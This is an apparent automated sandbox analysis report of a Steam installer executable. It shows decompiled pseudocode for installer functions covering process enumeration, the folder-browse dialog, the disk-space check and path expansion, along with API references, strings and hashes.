Opcode Fuzzy Hash: 2c75b19cb5c0384538948ae2e03fa29435249a004e9b7b541aa7951ba38b870f
Instruction Fuzzy Hash: 44B15670900608FFDB119FA0DD89EAE3B79FB48354F40847AFA45A61A0CB754E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 023610D0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E023610D0(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				struct HINSTANCE__* _v12;
				char _v16;
				int _v20;
				int _v24;
				struct HINSTANCE__* _v28;
				long _v32;
				struct _OSVERSIONINFOW _v308;
				short _v828;
				intOrPtr _v856;
				char _v864;
				short _v1384;
				struct HINSTANCE__* _t55;
				WCHAR* _t56;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				struct HINSTANCE__* _t63;
				int* _t64;
				struct HINSTANCE__* _t68;
				struct HINSTANCE__* _t70;
				_Unknown_base(*)()* _t77;
				struct HINSTANCE__* _t81;
				struct HINSTANCE__* _t84;
				int _t90;
				struct HINSTANCE__* _t92;
				long _t99;
				struct HINSTANCE__* _t101;
				struct HINSTANCE__* _t102;
				struct HINSTANCE__* _t104;
				struct HINSTANCE__* _t105;
				void* _t106;
				struct HINSTANCE__** _t109;
				struct HINSTANCE__* _t113;
				CHAR* _t114;
				void* _t115;
				void* _t116;

				_v20 = 0;
				_v24 = 0;
				_v16 = 0;
				_v308.dwOSVersionInfoSize = 0x114;
				if(GetVersionExW( &_v308) != 0) {
					__eflags = _v308.dwPlatformId - 2;
					if(_v308.dwPlatformId == 2) {
						_t99 = 0x4000;
						_t55 = LoadLibraryW(L"NTDLL.DLL");
						_v12 = _t55;
						__eflags = _t55;
						if(_t55 == 0) {
							_t104 = 0x25e;
							L16:
							__eflags = _t104;
							if(_t104 == 0) {
								_t109 = _v8;
								while(1) {
									_t56 = _t109[0xf];
									__eflags = _t56;
									if(_t56 == 0) {
										goto L23;
									}
									lstrcpynW( &_v1384, _t56, 0x104);
									_t63 = lstrcmpiW( &_v1384, _a4);
									__eflags = _t63;
									if(_t63 != 0) {
										goto L23;
									}
									_t64 =  &(_t63->i);
									_v20 = _t64;
									__eflags = _a8 - _t64;
									if(_a8 != _t64) {
										L25:
										LocalFree(_v8); // executed
										L43:
										__eflags = _v20;
										if(_v20 != 0) {
											__eflags = _a8 - 1;
											if(_a8 != 1) {
												L50:
												_t59 = 0;
												__eflags = 0;
												L51:
												return _t59;
											}
											__eflags = _v24;
											if(_v24 != 0) {
												__eflags = _v16 - 1;
												if(_v16 != 1) {
													goto L50;
												}
												_t59 = 0x25a;
												goto L51;
											}
											_t59 = 0x259;
											goto L51;
										}
										L44:
										_t59 = 0x25b;
										goto L51;
									}
									E0236103F(_t109[0x11], _a12,  &_v24,  &_v16);
									_t116 = _t116 + 0x10;
									L23:
									_t57 =  *_t109;
									__eflags = _t57;
									if(_t57 == 0) {
										goto L25;
									}
									_t109 = _t109 + _t57;
								}
							}
							_t59 = _t104;
							goto L51;
						}
						_t68 = GetProcAddress(_t55, "NtQuerySystemInformation");
						_v28 = _t68;
						__eflags = _t68;
						if(_t68 == 0) {
							_t104 = 0x25f;
							L14:
							FreeLibrary(_v12);
							goto L16;
						}
						_t70 = LocalAlloc(0, 0x4000);
						__eflags = _t70;
						while(1) {
							_v8 = _t70;
							if(__eflags == 0) {
								break;
							}
							_t104 = NtQuerySystemInformation(5, _v8, _t99,  &_v32);
							__eflags = _t104;
							if(_t104 == 0) {
								goto L14;
							}
							LocalFree(_v8);
							__eflags = _t104 - 0xc0000004;
							if(_t104 != 0xc0000004) {
								break;
							}
							_t99 = _t99 + _t99;
							_t70 = LocalAlloc(0, _t99); // executed
							__eflags = _t70;
						}
						_t104 = 0x260;
						goto L14;
					}
					__eflags = _v308.dwPlatformId - 1;
					if(_v308.dwPlatformId == 1) {
						_t101 = LoadLibraryA("KERNEL32.DLL");
						_v12 = _t101;
						__eflags = _t101;
						if(_t101 == 0) {
							goto L44;
						}
						_t105 = GetProcAddress(_t101, "CreateToolhelp32Snapshot");
						_t102 = GetProcAddress(_t101, "Process32First");
						_t77 = GetProcAddress(_v12, "Process32Next");
						_v28 = _t77;
						__eflags = _t105;
						if(_t105 == 0) {
							L42:
							FreeLibrary(_v12);
							goto L43;
						}
						__eflags = _t77;
						if(_t77 == 0) {
							goto L42;
						}
						__eflags = _t102;
						if(_t102 == 0) {
							goto L42;
						}
						_t106 = _t105->i(2, 0);
						__eflags = _t106 - 0xffffffff;
						if(_t106 == 0xffffffff) {
							goto L42;
						}
						_v864 = 0x22c;
						_t81 = _t102->i(_t106,  &_v864);
						while(1) {
							__eflags = _t81;
							if(_t81 == 0) {
								break;
							}
							_t113 = _t115 + lstrlenW( &_v828) * 2 - 0x33a;
							while(1) {
								_t84 = _t113->i;
								__eflags = _t84 - 0x5c;
								if(_t84 == 0x5c) {
									break;
								}
								__eflags = _t84;
								if(_t84 == 0) {
									break;
								}
								_t113 = _t113 - 1;
								__eflags = _t113;
							}
							_t114 =  &(_t113->i);
							MultiByteToWideChar(0, 0, _t114, lstrlenA(_t114) + 1,  &_v1384, 0x104);
							_t90 = lstrcmpiW( &_v1384, _a4);
							__eflags = _t90;
							if(_t90 != 0) {
								L39:
								_t81 = _v28(_t106,  &_v864);
								continue;
							}
							_t92 = _t90 + 1;
							_v20 = _t92;
							__eflags = _a8 - _t92;
							if(_a8 != _t92) {
								break;
							}
							E0236103F(_v856, _a12,  &_v24,  &_v16);
							_t116 = _t116 + 0x10;
							goto L39;
						}
						CloseHandle(_t106);
						goto L42;
					}
					_t59 = 0x25d;
					goto L51;
				}
				return 0x25c;
			}

0x023610e3
0x023610e6
0x023610e9
0x023610ec
0x023610fe
0x0236110a
0x02361113
0x02361136
0x02361138
0x0236113e
0x02361141
0x02361143
0x023611af
0x023611b4
0x023611b4
0x023611b6
0x023611bf
0x023611c2
0x023611c2
0x023611c5
0x023611c7
0x00000000
0x00000000
0x023611d6
0x023611e6
0x023611ec
0x023611ee
0x00000000
0x00000000
0x023611f0
0x023611f1
0x023611f4
0x023611f7
0x02361219
0x0236121c
0x02361343
0x02361343
0x02361347
0x02361350
0x02361354
0x02361370
0x02361370
0x02361370
0x02361372
0x00000000
0x02361373
0x02361356
0x0236135a
0x02361363
0x02361367
0x00000000
0x00000000
0x02361369
0x00000000
0x02361369
0x0236135c
0x00000000
0x0236135c
0x02361349
0x02361349
0x00000000
0x02361349
0x02361207
0x0236120c
0x0236120f
0x0236120f
0x02361211
0x02361213
0x00000000
0x00000000
0x02361215
0x02361215
0x023611c2
0x023611b8
0x00000000
0x023611b8
0x0236114b
0x02361151
0x02361154
0x02361156
0x0236119f
0x023611a4
0x023611a7
0x00000000
0x023611a7
0x02361160
0x02361162
0x02361193
0x02361193
0x02361196
0x00000000
0x00000000
0x02361173
0x02361175
0x02361177
0x00000000
0x00000000
0x0236117c
0x02361182
0x02361188
0x00000000
0x00000000
0x0236118a
0x0236118f
0x02361191
0x02361191
0x02361198
0x00000000
0x02361198
0x02361115
0x0236111c
0x02361232
0x02361234
0x02361237
0x02361239
0x00000000
0x00000000
0x02361253
0x0236125f
0x02361261
0x02361263
0x02361266
0x02361268
0x0236133a
0x0236133d
0x00000000
0x0236133d
0x0236126e
0x02361270
0x00000000
0x00000000
0x02361276
0x02361278
0x00000000
0x00000000
0x02361284
0x02361286
0x02361289
0x00000000
0x00000000
0x02361297
0x023612a1
0x0236132b
0x0236132b
0x0236132d
0x00000000
0x00000000
0x023612b5
0x023612c3
0x023612c3
0x023612c5
0x023612c7
0x00000000
0x00000000
0x023612be
0x023612c0
0x00000000
0x00000000
0x023612c2
0x023612c2
0x023612c2
0x023612d5
0x023612e4
0x023612f4
0x023612fa
0x023612fc
0x02361320
0x02361328
0x00000000
0x02361328
0x023612fe
0x023612ff
0x02361302
0x02361305
0x00000000
0x00000000
0x02361318
0x0236131d
0x00000000
0x0236131d
0x02361334
0x00000000
0x02361334
0x02361122
0x00000000
0x02361122
0x00000000

APIs

GetVersionExW.KERNEL32(?), ref: 023610F6

Strings

Process32First, xrefs: 0236124D
Process32Next, xrefs: 02361257
CreateToolhelp32Snapshot, xrefs: 02361245
KERNEL32.DLL, xrefs: 02361227
NTDLL.DLL, xrefs: 02361131
NtQuerySystemInformation, xrefs: 02361145

Memory Dump Source

Source File: 00000005.00000002.443876527.0000000002361000.00000020.00000001.01000000.0000000E.sdmp, Offset: 02360000, based on PE: true

Associated: 00000005.00000002.443821469.0000000002360000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.443904007.0000000002362000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.443953532.0000000002364000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2360000_SteamSetup.jbxd

Similarity

API ID: Version
String ID: CreateToolhelp32Snapshot$KERNEL32.DLL$NTDLL.DLL$NtQuerySystemInformation$Process32First$Process32Next
API String ID: 1889659487-877962304
Opcode ID: c64cf451911547e957b60d6f5fee451af3e902a3170ad506ffebd9b87c71e8ac
Instruction ID: 4e38f5e12aa7f3ea750c2389359167adc6775f8ce8b163114e3a3291778d306f
Opcode Fuzzy Hash: c64cf451911547e957b60d6f5fee451af3e902a3170ad506ffebd9b87c71e8ac
Instruction Fuzzy Hash: 82718B71D00219AFDF219BA4CC4CBBEBBBDAB04749F19C465E98AE2248D7708A41CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004046DD Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004046DD(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				union _ULARGE_INTEGER _v28;
				intOrPtr _v32;
				long _v36;
				union _ULARGE_INTEGER _v40;
				unsigned int _v44;
				union _ULARGE_INTEGER _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				struct %anon54 _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				long _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x422700; // 0x58930c
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E004058A7(0x3fb, _t146);
					E00406412(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004058A7(0x3fb, _t146);
							if(E00405C3A(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040617E(0x4216f8, _t146);
							_t87 = E00406558(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040617E(0x4216f8, _t146);
								_t89 = E00405BDD(0x4216f8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x4216f8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48.LowPart = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x4216f8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = GetDiskFreeSpaceExW(0x4216f8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405B7E(0x4216f8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x4216f8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48.LowPart = (_t150 << 0x00000020 | _v48.LowPart) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404B7A(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48.LowPart < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42921c + 0x10)) != _t158) {
									E00404B62(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x4216e8);
									} else {
										E00404A99(_t169, 0xfffffffc, _v48.LowPart, _v44); // executed
									}
								}
								_t96 = _v8;
								 *0x42a2e4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404264(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x423718 == _t158) {
									E00404672();
								}
								 *0x423718 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423728;
							_v60 = E00404A33;
							_v56 = _t146;
							_v68 = E004061A0(_t146, 0x423728, _t167, 0x421f00, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405B32(_t146);
								_t125 =  *((intOrPtr*)( *0x42a250 + 0x11c));
								if( *((intOrPtr*)( *0x42a250 + 0x11c)) != 0 && _t146 == L"C:\\Program Files (x86)\\Steam") {
									E004061A0(_t146, 0x423728, _t167, 0, _t125);
									if(lstrcmpiW(0x4281e0, 0x423728) != 0) {
										lstrcatW(_t146, 0x4281e0);
									}
								}
								 *0x423718 =  *0x423718 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405BA9(_t146) != 0 && E00405BDD(_t146) == 0) {
						E00405B32(_t146);
					}
					 *0x429218 = _t167; // executed
					SetWindowTextW(_t166, _t146); // executed
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404242(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404242(_t167);
					E00404277(_t166);
					if(E00406558(6) == 0) {
						L53:
						return E004042A9(_a8, _a12, _a16);
					} else {
						SHAutoComplete(_t166, 1); // executed
						goto L8;
					}
				}
			}

0x004046dd
0x004046e3
0x004046e9
0x004046f6
0x00404704
0x00404707
0x0040470f
0x00404715
0x00404715
0x00404721
0x00404724
0x00404792
0x00404799
0x00404870
0x00404877
0x00404886
0x00404886
0x0040488a
0x00404894
0x004048a1
0x004048a3
0x004048a3
0x004048b1
0x004048b8
0x004048bf
0x004048c2
0x004048fe
0x00404900
0x00404906
0x0040490b
0x0040490f
0x00404911
0x00404911
0x0040492d
0x00000000
0x0040492f
0x00404932
0x00404940
0x00404946
0x00404947
0x0040494a
0x0040494d
0x00000000
0x0040494d
0x004048c4
0x004048c6
0x004048ca
0x00000000
0x00000000
0x00000000
0x00000000
0x004048cc
0x004048cc
0x004048d9
0x004048de
0x00000000
0x00000000
0x004048e2
0x004048e4
0x004048e4
0x004048ed
0x004048ef
0x004048f4
0x004048f7
0x004048fc
0x00000000
0x00000000
0x00000000
0x00000000
0x004048fc
0x00404959
0x00404963
0x00404966
0x00404969
0x00404970
0x00404970
0x00404972
0x00404972
0x00404977
0x00404979
0x00404981
0x00404988
0x0040498a
0x00404995
0x00404995
0x0040498a
0x004049a5
0x004049af
0x004049b7
0x004049d2
0x004049b9
0x004049c2
0x004049c2
0x004049b7
0x004049d7
0x004049dc
0x004049e1
0x004049ea
0x004049ea
0x004049f3
0x004049f5
0x004049f5
0x00404a01
0x00404a09
0x00404a13
0x00404a13
0x00404a18
0x00000000
0x00404a18
0x004048c2
0x00404879
0x00404880
0x00000000
0x00000000
0x00000000
0x00404880
0x0040479f
0x004047a8
0x004047c2
0x004047c7
0x004047d1
0x004047d8
0x004047e4
0x004047e7
0x004047ea
0x004047f1
0x004047f9
0x004047fc
0x00404800
0x00404807
0x0040480f
0x00404869
0x00404811
0x00404812
0x00404819
0x00404823
0x0040482b
0x00404838
0x0040484c
0x00404850
0x00404850
0x0040484c
0x00404855
0x00404862
0x00404862
0x0040480f
0x00000000
0x004047c7
0x004047b5
0x00000000
0x00000000
0x004047bb
0x00000000
0x00404726
0x00404733
0x0040473c
0x00404749
0x00404749
0x00404750
0x00404756
0x0040475f
0x00404762
0x00404765
0x0040476d
0x00404770
0x00404773
0x00404779
0x00404787
0x00404a1e
0x00404a30
0x0040478d
0x00404790
0x00000000
0x00404790
0x00404787

APIs

GetDlgItem.USER32 ref: 0040472C
SetWindowTextW.USER32(00000000,?), ref: 00404756
SHAutoComplete.SHLWAPI(00000000,00000001,00000006,00000000,?,00000014,?,?,00000001,?), ref: 00404790
SHBrowseForFolderW.SHELL32(?), ref: 00404807
CoTaskMemFree.OLE32(00000000), ref: 00404812
lstrcmpiW.KERNEL32(Delete on reboot: ,00423728,00000000,?,?), ref: 00404844
lstrcatW.KERNEL32(?,Delete on reboot: ), ref: 00404850
SetDlgItemTextW.USER32 ref: 00404862

Part of subcall function 004058A7: GetDlgItemTextW.USER32 ref: 004058BA

Part of subcall function 00406412: CharNextW.USER32(?,*?|<>/":,00000000,00000000,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406475
Part of subcall function 00406412: CharNextW.USER32(?,?,?,00000000), ref: 00406484
Part of subcall function 00406412: CharNextW.USER32(?,00000000,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406489
Part of subcall function 00406412: CharPrevW.USER32(?,?,74D0FAA0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040649C

GetDiskFreeSpaceExW.KERNELBASE(004216F8,?,?,?,00000001,004216F8,?,?,000003FB,?), ref: 004048D9
GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404925
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404940

Part of subcall function 00404A99: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3A
Part of subcall function 00404A99: wsprintfW.USER32 ref: 00404B43
Part of subcall function 00404A99: SetDlgItemTextW.USER32 ref: 00404B56

Strings

(7B, xrefs: 004047DA
C:\Program Files (x86)\Steam, xrefs: 0040482D
Delete on reboot: , xrefs: 0040483E, 00404843, 0040484E
A, xrefs: 00404800

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CharItemText$FreeNext$DiskSpace$AutoBrowseCompleteFolderPrevTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Program Files (x86)\Steam$Delete on reboot:
API String ID: 4039761011-4285811602
Opcode ID: cccaa9c627b388c0e7f487322c8d4c70b585a700e836082f031364901de4fd73
Instruction ID: d5aaf60bd55b21875b9c8b9a8d0b3d7e01f34e6f89f3adcbdcc63617e1d21faf
Opcode Fuzzy Hash: cccaa9c627b388c0e7f487322c8d4c70b585a700e836082f031364901de4fd73
Instruction Fuzzy Hash: B7A191F1A00209ABDB11AFA5CC45AAF77B8EF84354F10847BF601B62D1D77C99418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004061A0 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E004061A0(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				intOrPtr* _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t48;
				WCHAR* _t49;
				signed char _t51;
				signed int _t52;
				signed int _t53;
				signed int _t54;
				short _t66;
				short _t67;
				short _t69;
				short _t71;
				void* _t81;
				signed int _t85;
				intOrPtr* _t89;
				signed char _t90;
				void* _t98;
				void* _t108;
				short _t109;
				signed int _t112;
				void* _t113;
				WCHAR* _t114;
				void* _t116;

				_t113 = __esi;
				_t108 = __edi;
				_t81 = __ebx;
				_t48 = _a8;
				if(_t48 < 0) {
					_t48 =  *( *0x42921c - 4 + _t48 * 4);
				}
				_push(_t81);
				_push(_t113);
				_push(_t108);
				_t89 =  *0x42a278 + _t48 * 2;
				_t49 = 0x4281e0;
				_t114 = 0x4281e0;
				if(_a4 >= 0x4281e0 && _a4 - 0x4281e0 >> 1 < 0x800) {
					_t114 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t109 =  *_t89;
					if(_t109 == 0) {
						break;
					}
					__eflags = (_t114 - _t49 & 0xfffffffe) - 0x800;
					if((_t114 - _t49 & 0xfffffffe) >= 0x800) {
						break;
					}
					_t98 = 2;
					_t89 = _t89 + _t98;
					__eflags = _t109 - 4;
					_v8 = _t89;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t114 = _t109;
							_t114 = _t114 + _t98;
							__eflags = _t114;
						} else {
							 *_t114 =  *_t89;
							_t114 = _t114 + _t98;
							_t89 = _t89 + _t98;
						}
						continue;
					}
					_t51 =  *((intOrPtr*)(_t89 + 1));
					_t90 =  *_t89;
					_v8 = _v8 + 2;
					_t85 = _t90 & 0x000000ff;
					_t52 = _t51 & 0x000000ff;
					_a8 = (_t51 & 0x0000007f) << 0x00000007 | _t90 & 0x0000007f;
					_v16 = _t52;
					_t53 = _t52 | 0x00008000;
					__eflags = _t109 - 2;
					_v24 = _t85;
					_v28 = _t85 | 0x00008000;
					_v20 = _t53;
					if(_t109 != 2) {
						__eflags = _t109 - 3;
						if(_t109 != 3) {
							__eflags = _t109 - 1;
							if(_t109 == 1) {
								__eflags = (_t53 | 0xffffffff) - _a8;
								E004061A0(_t85, _t109, _t114, _t114, (_t53 | 0xffffffff) - _a8);
							}
							L42:
							_t54 = lstrlenW(_t114);
							_t89 = _v8;
							_t114 =  &(_t114[_t54]);
							_t49 = 0x4281e0;
							continue;
						}
						__eflags = _a8 - 0x1d;
						if(_a8 != 0x1d) {
							__eflags = (_a8 << 0xb) + 0x42b000;
							E0040617E(_t114, (_a8 << 0xb) + 0x42b000);
						} else {
							E004060C5(_t114,  *0x42a248);
						}
						__eflags = _a8 + 0xffffffeb - 7;
						if(_a8 + 0xffffffeb < 7) {
							L33:
							E00406412(_t114);
						}
						goto L42;
					}
					_t112 = 2;
					_t66 = GetVersion();
					__eflags = _t66;
					if(_t66 >= 0) {
						L13:
						_a8 = 1;
						L14:
						__eflags =  *0x42a2c4;
						if( *0x42a2c4 != 0) {
							_t112 = 4;
						}
						__eflags = _t85;
						if(_t85 >= 0) {
							__eflags = _t85 - 0x25;
							if(_t85 != 0x25) {
								__eflags = _t85 - 0x24;
								if(_t85 == 0x24) {
									GetWindowsDirectoryW(_t114, 0x400);
									_t112 = 0;
								}
								while(1) {
									__eflags = _t112;
									if(_t112 == 0) {
										goto L30;
									}
									_t67 =  *0x42a244;
									_t112 = _t112 - 1;
									__eflags = _t67;
									if(_t67 == 0) {
										L26:
										_t69 = SHGetSpecialFolderLocation( *0x42a248,  *(_t116 + _t112 * 4 - 0x18),  &_v12);
										__eflags = _t69;
										if(_t69 != 0) {
											L28:
											 *_t114 =  *_t114 & 0x00000000;
											__eflags =  *_t114;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t114);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t69;
										if(_t69 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _a8;
									if(_a8 == 0) {
										goto L26;
									}
									_t71 =  *_t67( *0x42a248,  *(_t116 + _t112 * 4 - 0x18), 0, 0, _t114); // executed
									__eflags = _t71;
									if(_t71 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t114, 0x400);
							goto L30;
						} else {
							_t87 = _t85 & 0x0000003f;
							E0040604B(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a278 + (_t85 & 0x0000003f) * 2, _t114, _t85 & 0x00000040); // executed
							__eflags =  *_t114;
							if( *_t114 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatW(_t114, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E004061A0(_t87, _t112, _t114, _t114, _v16);
							L30:
							__eflags =  *_t114;
							if( *_t114 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t66 - 0x5a04;
					if(_t66 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_a8 = _a8 & 0x00000000;
						goto L14;
					}
				}
				 *_t114 =  *_t114 & 0x00000000;
				if(_a4 == 0) {
					return _t49;
				}
				return E0040617E(_a4, _t49);
			}

0x004061a0
0x004061a0
0x004061a0
0x004061a6
0x004061ab
0x004061bc
0x004061bc
0x004061c4
0x004061c5
0x004061c6
0x004061c7
0x004061ca
0x004061d2
0x004061d4
0x004061ed
0x004061f0
0x004061f0
0x004063ec
0x004063ec
0x004063f2
0x00000000
0x00000000
0x00406200
0x00406206
0x00000000
0x00000000
0x0040620e
0x0040620f
0x00406211
0x00406215
0x00406218
0x004063d9
0x004063e7
0x004063ea
0x004063ea
0x004063db
0x004063de
0x004063e1
0x004063e3
0x004063e3
0x00000000
0x004063d9
0x0040621e
0x00406221
0x00406230
0x00406236
0x00406239
0x0040623c
0x00406246
0x0040624b
0x0040624d
0x00406251
0x00406254
0x00406257
0x0040625a
0x0040637a
0x0040637e
0x004063b3
0x004063b7
0x004063bc
0x004063c1
0x004063c1
0x004063c6
0x004063c7
0x004063cc
0x004063cf
0x004063d2
0x00000000
0x004063d2
0x00406380
0x00406384
0x0040639a
0x004063a1
0x00406386
0x0040638d
0x0040638d
0x004063ac
0x004063af
0x00406372
0x00406373
0x00406373
0x00000000
0x004063af
0x00406262
0x00406263
0x00406269
0x0040626b
0x00406285
0x00406285
0x0040628c
0x0040628c
0x00406293
0x00406297
0x00406297
0x00406298
0x0040629a
0x004062d6
0x004062d9
0x004062e9
0x004062ec
0x004062f4
0x004062fa
0x004062fa
0x00406357
0x00406357
0x00406359
0x00000000
0x00000000
0x004062fe
0x00406305
0x00406306
0x00406308
0x00406322
0x00406330
0x00406336
0x00406338
0x00406353
0x00406353
0x00406353
0x00000000
0x00406353
0x0040633e
0x00406349
0x0040634f
0x00406351
0x00000000
0x00000000
0x00000000
0x00406351
0x0040630a
0x0040630d
0x00000000
0x00000000
0x0040631c
0x0040631e
0x00406320
0x00000000
0x00000000
0x00000000
0x00406320
0x00000000
0x00406357
0x004062e1
0x00000000
0x0040629c
0x0040629e
0x004062b9
0x004062be
0x004062c2
0x00406361
0x00406361
0x00406365
0x0040636d
0x0040636d
0x00000000
0x00406365
0x004062cc
0x0040635b
0x0040635b
0x0040635f
0x00000000
0x00000000
0x00000000
0x0040635f
0x0040629a
0x0040626d
0x00406271
0x00000000
